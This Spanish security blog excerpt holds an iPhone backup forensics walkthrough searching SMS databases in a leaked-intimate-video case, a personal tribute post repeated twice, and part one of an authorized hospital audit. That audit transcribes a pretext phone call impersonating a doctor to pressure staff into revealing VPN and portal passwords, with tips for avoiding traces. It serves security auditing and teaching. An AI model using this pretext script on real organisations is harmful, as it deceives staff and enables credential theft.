El funcionamiento de sincronización de iTunes se basa en un controlador especifico en Windows y Mac que permite la comunicación segura entre ambos dispositivos, cuando se sincronizan o se hace una copia de seguridad, Windows almacena estos datos en un formato especifico de ficheros(si disponemos de la última versión del firmware) llamados mddata y mddinfo
Entre las cosas que sincroniza o se hacen copias de seguridad están:
- Marcadores, cookies, historial y páginas abiertas actualmente del navegador
- Marcadores, búsquedas recientes y la ubicación actual de mapas en Mapas
- Ajustes, preferencias y datos de las aplicaciones
- La Agenda y los favoritos de la Agenda
- Cuentas de Calendario
- Fondos de pantalla
- Notas
- Historial de llamadas
- Cuentas de Mail
- Favoritos de YouTube
- Mensajes SMS
- Correcciones sugeridas guardadas (se guardan automáticamente cuando las rechazas)
- Carrete (fotos y capturas de pantalla tomadas con el iPhone)
- Identificador del buzón de voz visual (no se trata de la contraseña del buzón de voz visual, pero se utiliza para validar la conexión. Sólo se restaurará a un teléfono que tenga el mismo número en la tarjeta SIM).
- Clips web
- Ajustes de red (puntos de acceso Wi-Fi guardados, ajustes de VPN, preferencias de red)
- Dispositivos Bluetooth enlazados (sólo se pueden restaurar al mismo teléfono que realizó la copia de seguridad)
- Llavero (incluye las contraseñas de las cuentas de correo electrónico, las contraseñas Wi-Fi y las que introduces en sitios web y algunas otras aplicaciones. El llavero sólo puede restaurarse a partir de una copia de seguridad al mismo iPhone o iPod touch. Si estás restaurando a un dispositivo nuevo, tendrás que volver a introducir esas contraseñas de nuevo)
- Configuraciones/perfiles gestionados
- Lista de fuentes de sincronización externas (MobileMe, Exchange ActiveSync)
- Configuraciones de cuentas Microsoft Exchange
- Entrenamientos y ajustes de Nike+iPod guardados
- Datos de las aplicaciones de la tienda App Store (excepto la aplicación propiamente dicha y sus carpetas tmp y Caches)
- Vídeos en el carrete
- Preferencias de aplicaciones que permitan el uso de los servicios de ubicación
- Caché/base de datos de aplicaciones web sin conexión
- Notas de voz
- Autorrelleno para páginas web
- Servidores de confianza con certificados que no se puedan verificar
- Sitios web con autorización para obtener la ubicación del dispositivo
- Compras in-app (en aplicación)
- Mac: ~/Librería/Application Support/MobileSync/Backup/
- Windows XP: \Documents and Settings\(nombredeusuario)\Application Data\Apple Computer\MobileSync\Backup\
- Vista / Win 7: C:\Users\(nombredeusuario)\AppData\Roaming\Apple Computer\MobileSync\Backup\
Cuando el dispositivo se conecta por primera vez a iTunes y nunca estaba conectado anteriormente, iTunes generará un identificador alfanumérico 40 caracteres para el dispositivo. Este identificador, también conocido como el UDID (Unique Device Identifier), es también el nombre de la carpeta para este dispositivo dentro de la carpeta de copia de seguridad.
En el caso en concreto tenia más de una y tuve que ordenarlas por fecha para distinguirlas,también es conveniente realizar una copia de esta carpeta en el escritorio u otro dispositivo, para trabajar desde ella y no correr el riesgo de perderla. (es recomendable hacer un hash del contenido del directorio). Los ficheros que contiene pueden ser del siguiente formato:
TIPOS DE FICHEROS
plist
mdbackup
mddata
mdinfo
Archivos plist
Los archivos plist son archivos informativos donde se escribe el contenido en XML.
Hay 3 plist principales archivos generados como parte del proceso de copia de seguridad - Info.plist, Status.plist y Manifest.plist.
El archivo plist más importante es el archivo Info.plist ya que contiene información básica sobre el dispositivo, incluido el, nombre de dispositivo asignado por el usuario número de serie y número de teléfono. El info.plist también indicará la última fecha y la hora cuando el dispositivo fue copiado en el proceso de copia de seguridad.
archivo plist
El archivo Status.plist indica el estado del proceso de sincronización anterior o copia de seguridad. Si la sincronización o el proceso de copia de seguridad se completó correctamente, entonces el contenido indicaría que el backup se ha realizado correctamente.
El archivo Manifest.plist es un archivo binario plist real de los archivos de la copia de seguridad junto con la firma digital. Generalmente, este archivo no es de importancia forense.
Archivos mdbackup
Los archivos mdbackup también contiene datos importantes siendo el propio nombre de archivo es un valor hexadecimal alfanuméricos. En las versiones de firmware más recientes para el iPhone, los archivos. mdbackup se sustituye por la mddata.y mdinfo . A diferencia del mdbackup que todo el archivo contiene los metadatos en la nueva versión de firmware va a crear dos archivos - uno con la extensión mddata y el otro con la extensión mdinfo. El. mdinfo y mddata actuan como un igual y, por tanto, tienen el mismo nombre de archivo, pero las extensiones de archivo diferentes.
Archivos MDINFO y MDDATA
El mdinfo contendrá la información de metadatos sobre el archivo,como por ejemplo, la libreta de direcciones, SMS, historial de llamadas, etc. El mddata contendrá el contenido real de ese archivo. También hay que tener en cuenta que estos ficheros se pueden cifrar desde el propio programa de Itunes, (este no es el caso) y si así fuera se complicaria el análisis forense
¡¡EMPEZAMOS!!
Como hemos comentado anteriormente disponemos de una carpeta llamada '0387fecb24b358ec337ab2ad3323fb8e0bbc27ca' que contiene los ficheros a buscar. En la investigación me voy a centrar en los SMS's por ver si ha mandado algún mensaje a otro chico, indicando la posibilidad de que se descarge el vídeo y también voy a ver si contiene el vídeo en cuestión en el ordenador.
Algunos ficheros 'mddata' en sus metadatos tienen una estructura basada en SQLite. Para buscar que ficheros son los del SMS's y llamadas, voy a recurrir a la utilidad 'grep' (para windows) y voy a buscar un patron que suelen estar en la estructura de ficheros.
Patrones de búsqueda:
sms.db: SMS
call_history.db: Historico de llamadas
notes.db: Agenda y notas
En la siguiente pantalla se ha realizado en tres ordenes para el entendimiento del lector (se podría hacer en una línea)
Como podemos observar devuelve tres ficheros con extensión .mdinfo, como ya hemos dicho anteriormente a cada fichero .mdinfo le corresponde su fichero de igual nombre pero con extensión .mddata . Vamos a comprobar si realmente tiene un formato SQLite, para ello lo abrimos con un editor Hexadecimal y este es el resultado:
Se aprecia que es SQLite 3 y además se ve algún fragmento de texto de un SMS. Para que sea más sencillo su uso los vamos a tratar con SQLite Administrator para ver la información que contienen.
Este es el resultado del primer fichero 3d0d....:
Los datos se han truncado por motivos confidenciales, pero se ven tres columnas relativas al número de móvil que se envía, la fecha y el texto.
En la siguiente pantalla y tras una búsqueda nos da un mensaje revelador. Tenemos la evidencia relativa de que 'algo' se ha subido a internet....
Según se trata es filestube y no rapidshare (o son ambos), eso significa que el vídeo en cuestión sigue en circulación. Vamos a comprobar si somos capaces de encontrarlo en internet en base a una búsqueda de este patron en los ficheros .mddata, para ello empleamos la siguiente sintaxis:
grep -l "
Tras una búsqueda en múltiples ficheros damos con el resultado. Nota: se han trucado algunos datos
Si accedemos a la web vemos a la chica tal y como vino al mundo...
En el siguiente post veremos si el vídeo esta en el equipo y que medios utilizamos para verificarlo.
YJ
En la pasada Rooted lo conocí de primera mano, YJ es una persona increíble, un hacker de los de antes, un hacker blanco (o quízas algo gris, con un pasado 'under' que siempre es interesante) que escribe en un blog muy importante y que no voy a decir aquí por su dificultad en la traducción 'seguridadpordefecto' u algo así, ;-) (los maños lo decimos de otra forma 'u te securizas u a tomar pol culo'...)
Cosas que pasan...esta es mi historia con el...
Yago..(joder..la jodí di su nombre) es un maño emigrado a Madrid, una persona de esas con principios, cosas que ya son difíciles de ver en las personas...cuando lo conocí no nos cantamos jotas, pero es de esas personas que en las fiestas del pilar comparten litronas sin saber quien eres y eso marca la diferencia.
Su calidad técnica es incuestionable y en 'la noche me confunde en Madrid' lo demostró, compartimos hackeos memorables, técnicas de intrusión y algun exploit tipo 0 Day como 'brute force girls'...(si este post lo lee su novia, que este tranquila a YJ le falta el shellcode, y se paso todal noche /dev/null)
Nos hizo de experto (muy experto) pero eso sí con caballerosidad , como muy buen maño, sin ansia viva, y con conocimiento del medio. Vivimos momentos buenos y proyectos en los que está inmerso muy, muy chulos e interesantes.
Volviendo al experto, al hacker blanco...YJ es el autor de muchas de las tools que tengo en mi caja de herramientas, entre ellas , PATRIOT, UNHIDE (anda que no me ha venido bien esta tool)..y un huevo más..que espero siga desarrollando.
También tuve el honor de conocer a los demás integrantes de ese blog famoso, (aunque a Alejandro Ramos ya lo conocía de otras guerras ;-) )
En ese blog tan famoso lo componen el propio YJ, Alejandro Ramos, (Tío, siento no poder ayudarte en el reto, otra vez será, pero cuento contigo para unos proyectos de PUT.MDR.), José A. Guasch, (un crack en esto de la seguridad, hace tiempo, mucho tiempo que el tío se lo curra muy bien), Laura García, (Un encanto de señorita, que sabe un huevo y lo tiene muy claro ¡¡ una mujer en seguridad!! o diossss, milagro), Lorenzo Martinez, (Autentico gurú de la seguridad perimetral y networking, y ademas lo confirmo de verdad, otro de los maestros).
Ya se que este post no es técnico pero habla de ellos, que gracias a sus noticias interesantes y sin ánimo de lucro ayudan a muchas personas a iniciarse y continuar en el mundo de la seguridad.
Cosas que pasan...esta es mi historia con el...
Yago..(joder..la jodí di su nombre) es un maño emigrado a Madrid, una persona de esas con principios, cosas que ya son difíciles de ver en las personas...cuando lo conocí no nos cantamos jotas, pero es de esas personas que en las fiestas del pilar comparten litronas sin saber quien eres y eso marca la diferencia.
Su calidad técnica es incuestionable y en 'la noche me confunde en Madrid' lo demostró, compartimos hackeos memorables, técnicas de intrusión y algun exploit tipo 0 Day como 'brute force girls'...(si este post lo lee su novia, que este tranquila a YJ le falta el shellcode, y se paso todal noche /dev/null)
Nos hizo de experto (muy experto) pero eso sí con caballerosidad , como muy buen maño, sin ansia viva, y con conocimiento del medio. Vivimos momentos buenos y proyectos en los que está inmerso muy, muy chulos e interesantes.
Volviendo al experto, al hacker blanco...YJ es el autor de muchas de las tools que tengo en mi caja de herramientas, entre ellas , PATRIOT, UNHIDE (anda que no me ha venido bien esta tool)..y un huevo más..que espero siga desarrollando.
También tuve el honor de conocer a los demás integrantes de ese blog famoso, (aunque a Alejandro Ramos ya lo conocía de otras guerras ;-) )
En ese blog tan famoso lo componen el propio YJ, Alejandro Ramos, (Tío, siento no poder ayudarte en el reto, otra vez será, pero cuento contigo para unos proyectos de PUT.MDR.), José A. Guasch, (un crack en esto de la seguridad, hace tiempo, mucho tiempo que el tío se lo curra muy bien), Laura García, (Un encanto de señorita, que sabe un huevo y lo tiene muy claro ¡¡ una mujer en seguridad!! o diossss, milagro), Lorenzo Martinez, (Autentico gurú de la seguridad perimetral y networking, y ademas lo confirmo de verdad, otro de los maestros).
Ya se que este post no es técnico pero habla de ellos, que gracias a sus noticias interesantes y sin ánimo de lucro ayudan a muchas personas a iniciarse y continuar en el mundo de la seguridad.
HOSPITAL (Parte 1 - Ingeniería social)
DISCLAIMER:
Hola esta serie de entradas que veréis en las próximos días han sido aceptados para su difusión por parte del Hospital que nos contrato para esta auditoria.
Como veréis han sido eliminados nombres y datos que consideramos confidenciales, de todas formas agradeceremos que si nos colamos en algo nos lo hagáis saber.
La utilidad de este post y los siguientes creo que viene dado porque hemos realizado algo que es muy poco común en las auditorias entre ellas Ingeniería social y otros métodos poco comunes, eso si, todo ello con objeto de que aprendamos todos, yo también incluido.
***************
EMPEZAMOS
**************
Hola lectores,
Tal y como comente en el post anterior vamos a mostrar en diferentes entradas del blog la revisión del estado del arte de la seguridad de un Hospital .
Todo nace hace aproximadamente a mediados de Enero cuando el Consejo de Administración de este hospital (entenderéis que no de nombres) se da cuenta de una fuga importante de datos de pacientes y robo de material informático.
Tras una somera revisión por parte de los informáticos del centro se concluye que la desaparición consiste en diversos discos duros (pendrives), cintas de backup y dos portátiles. Ni que decir tiene que prácticamente se llevaron la información de la empresa.
Tras hablar con los responsables técnicos y el presidente del Consejo de Administración, se nos da vía libre para realizar una revisión que yo la clasifico como 'brutal' por el alcance que tiene dado que entre las revisiones típicas de seguridad, en esta ocasión vamos a emplear técnicas de ingenieria social.
Nuestro objetivo en esta primera parte de la auditoria consistía en tres elementos básicos:
1.- Obtener el máximo de información, de forma telefónica, suplantando la identidad de un conocido doctor del centro, esto incluye obtener perfiles, y contraseñas
2.- Obtención de accesos reservados solo para empleados, es decir acceso a diversas partes del portal de empleado (web)
3.- El paso más importante y divertido de la revisión, hacernos pasar por médicos del centro y acceder a zonas reservadas, entre ellas el CPD. Evidentemente queríamos comprobar los elementos de seguridad física del centro.
Para ello lo más sencillo y tras disponer de la autorización del consejo (en contrato y por escrito) nos disponemos a comenzar buscando en Google. En este ejemplo (que no es el caso que estamos tratando) proporciona tanta información a un supuesto atacante, que básicamente tiene todo el mapa de red. Cuidado con lo que se publica por internet
Ejemplo de google:
http://www.networkworld.es/La-sanidad-camina-con-Wi-Fi:-Hospital-de-La-Morale/seccion-/articulo-177043
Casi el 100% tiene publicado en su web la lista de médicos especialistas en la propia web corporativa de la empresa. Nosotros la obtenemos de otra web con objeto de no dejar rastro de IP's.
Nuestro objetivo es disponer de personalidades importantes dentro del hospital, para ello y no complicarnos la vida seleccionamos un conocido psicólogo del centro, (al cual ya pedimos perdones y excusas cuando finalizamos el trabajo.)
He aquí que me hago pasar por el excelentísimo Doctor Juan Aguirre (nombre falso en este post) ( por cierto Eduardo será el doctor en persona quien se persone en el centro, pero eso en la siguiente entrada)
Lo primero es llamar desde una cabina de teléfono (no vamos a dejar rastro de centralitas ni números personales ni nada de nada), también pensamos hacerlo desde un locutorio de esos que tantos existen.
NOTA: Tenemos la conversación grabada
Vamos a llamar al 'call center' 902 34 XX XX XX...
.- (operadora) Hola buenas tardes le atiende María, ¿en que le puedo atender?
.- (Yo) Humm. Hola buenas tardes soy el doctor Aguirre, responsable del área de psicología del centro.
.- (operadora) Ah, esto, hola Sr. Aguirre, ¿que desea?
.- (yo) Mira estoy en un congreso en aquí en Madrid en el San Antonio Breast Cancer Symposium, necesito recuperar un fichero del portal web y no recuerdo la contraseña.
http://www.congresos-medicos.com/congresos/conclusiones-del-32nd-san-antonio-breast-cancer-symposium-4380
.- (operadora) Ya ¿y no lo tiene anotado? (empiezo a alucinar, ¿anotado?),
.- (Yo) estooo ¿debería?, lo siento pero no. ¡¡ Señorita es muy urgente empiezo la conferencia en 35 minutos!!
.- (operadora) Es que no le puedo dar esta información por teléfono, lo siento
.- (Yo) (un poco borde lo se) ¡¡ Oiga, no se quien es usted pero necesito la contraseña YA!!, el éxito del centro depende de los datos que de y si usted no me lo proporciona, tendré que hablar con su responsable, por favor pongámonos al habla con el ahora mismo, ya!!
.- (operadora), Escuche señor, es imposible, no le puedo dar esos datos.
.- (yo) (mas borde), Mire ¿como dijo que se llama? ¿María?, me caguen la hostia si no me da ahora mismo esa contraseña, le hago culpable si no puedo tener esos datos ahora mismo, mire mi curriculum y mis datos dentro de portal, si quiere le digo mi DNI (ahí fue arriesgado, pero dudo que esos datos estén en el portal), si quiere le digo mi número de colegiado (ahí si que me pase).
.- (operadora) (muy compungida...pobre), Espere que pongo el manos libres y le paso con la responsable del servicio...(unos 40 segundos de espera)...
.- (responsable) Hola Doctor Aguirre, perdone por la espera, mi nombre es Lucia ¿donde dice que esta?
.- (yo) Señorita, estoy desesperado estoy en en el San Antonio Breast Cancer Symposium, compruébelo en mi agenda personal. (Aquí se acabo todo ,pensé)
.- (responsable) Lo siento, perdone no tengo acceso a su agenda, pero lamento todo y no se preocupe tome nota (¿que tome nota?) . La contraseña de su acceso a la red (vpn) es 'aguirre5656' y el acceso al portal es '5656aguirre'. De todos modos le informo que la conversación ha sido grabada por nuestros sistemas informáticos y que a su vuelta le será verificado por el sistema. (por cierto contraseña muy rebuscada)
.- (yo) (sin entender nada de lo que ha dicho)..uhmm gracias, señorita ha sido muy amable, da gusto el servicio prestado.
.- (responsable) Gracias buenas tardes.
Llegados a este paso solo nos queda configurar el acceso a la VPN (cosa muy sencilla dado que en su página web pública (craso error) explica como se realiza para todos los médicos interinos, y médicos asociados)
Una vez configurado el acceso por SSL con Open VPN, esto es lo que tenemos...
Pero esto lo vereis en el blog de eduardo
